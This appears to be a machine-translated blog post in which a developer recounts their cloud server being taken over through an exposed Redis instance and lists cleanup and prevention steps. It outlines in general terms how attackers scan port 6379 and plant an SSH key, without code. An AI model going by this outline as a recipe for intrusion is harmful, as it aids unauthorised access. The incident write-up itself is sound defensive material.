[actual combat record] record the whole process of the server being attacked (redis vulnerability)

summary

In the original project process , Pay more attention to the realization of project functions . And ignore a very important thing —— Disaster recovery capacity of the project . Although I have heard of hacker attacks , But I always feel that I am far away from these things , This kind of thing should not happen to me . Because of negligence , Then I had the experience of being attacked . Fortunately, the offensive means are relatively common , And the server alarms in time , I react quickly , Only then did we strengthen the solution to this crisis .

The whole process of the event

Plan to take a look at the server status before going to bed at night , It doesn't matter , It scares me directly .（ Post a part , There are many subsequent attacks ）

good heavens , This is really the first time I have encountered such a thing , Enter the alarm log and take a closer look , It is found that the server is offsite SSH Connected to , Blind guess should be brutally cracked password . Then click into the console … I'm a fool , This is really hard to break .

To tell the truth, I'm really flustered at this time , After all, the first experience . But there was a little excitement in the panic , Instantly ignite fighting spirit , Soon after calming down , First submitted Alibaba emergency work order , Then start to settle down and solve .

The earliest alarm was about the mining program , I can't think of the answer . My server is always fine , Where did the mining program come from , Is it because I accidentally downloaded the Trojan horse program ？？

I follow the console log , Baidu all the way , Finally, I found a similar case . The server was invaded as a miner , But how can good without loopholes be invaded . I carefully recall my recent operation , Deployed two days ago Redis… wait ！ It seems that I just saw one Redis Attack events caused by vulnerabilities .

Go back and watch it again , I found that the situation encountered by that brother was highly consistent with mine . Decisive and direct Baidu Redis dig . Directly open the door to the new world .

Because I have no experience , The whole processing process is fighting against resourcefulness . It can only be said that the attacker will always think one step more than you . When I try to stop Redis The service , One of me Root The account failed because of insufficient permissions .

Then , I try to use chattr Tools to empower , Then a dramatic scene happened , Console prompt command not found .

Is this uninstalled directly for me . Just when I was confused , The mobile phone receives the alarm message again ： There are worm codes and Backdoors in the system , I realized that I should first try to block the source of the attacker . But at this time, the key is modified by the other party , Because there are no permissions , modify SSH The password has also failed .

I quickly switched to the console , Obtain again through other verification methods Administrator rights , thus , Everything began to get under control , I quickly revised SSH password , Then start cloud killing .

Have to say ,“ Problem procedure ” Are very hidden . Remove the most prominent documents , What impressed me more were the programs hidden in the system's scheduled tasks and the programs hidden in /tmp Some files under the folder .

But in artificial + Under the fierce offensive of both tools , Filter according to the time when the file was created , Quickly screened and cleaned up a batch of scripts . Then replace Redis Default port , Restart project , Modify the firewall .

But there has always been a ip Hang it here , Blocking cannot block , Just reverse it and see which bastard it is .


I found his website , Find out how to contact , Send an email warning directly ！

Then just put this ip adopt iptables Full port black .

So far, the whole event is basically over , There may still be unclean places in the system . Other follow-up work will be done slowly .

This solution summary

The root cause ：Redis Loophole

First, let's have a general understanding of the attack process ：

Generally speaking , because Redis By default 6379 port . The attacker first uses the scanning tool to scan to open 6379 Port server , Then attack

The user puts his own key , adopt Redis Vulnerabilities in the replacement file mechanism , Sneak it into your server , This is the time , Attacker on

We've got it SSH The ability to connect . You can start further damage to the server .

Stop loss plan

• Shut down the server , The firewall shuts down immediately 6379 port . Cut off the attack input source .
• Rollback using server snapshots .
• Cloud kill , Handle suspicious files .
• Submit work orders quickly , Get advice and help from professionals

Prevention programs

• Often take snapshot backups of the server
• Replacement port , Do not use the default port , Set more complex passwords
• Pay more attention to Redis Update log of , Reacting quickly after the vulnerability is exposed will reduce losses .
• The realization of functions is no longer the first element in development , We should take into account security .

Main cause ： Self factors

Insufficient attention has been paid to the risks of cloud deployment , Not enough attention has been paid to vulnerabilities .

summary

Through this event , Gained a lot of additional knowledge , Also alert yourself to unknown things, there are many , You must always be alert , Reduce unnecessary losses .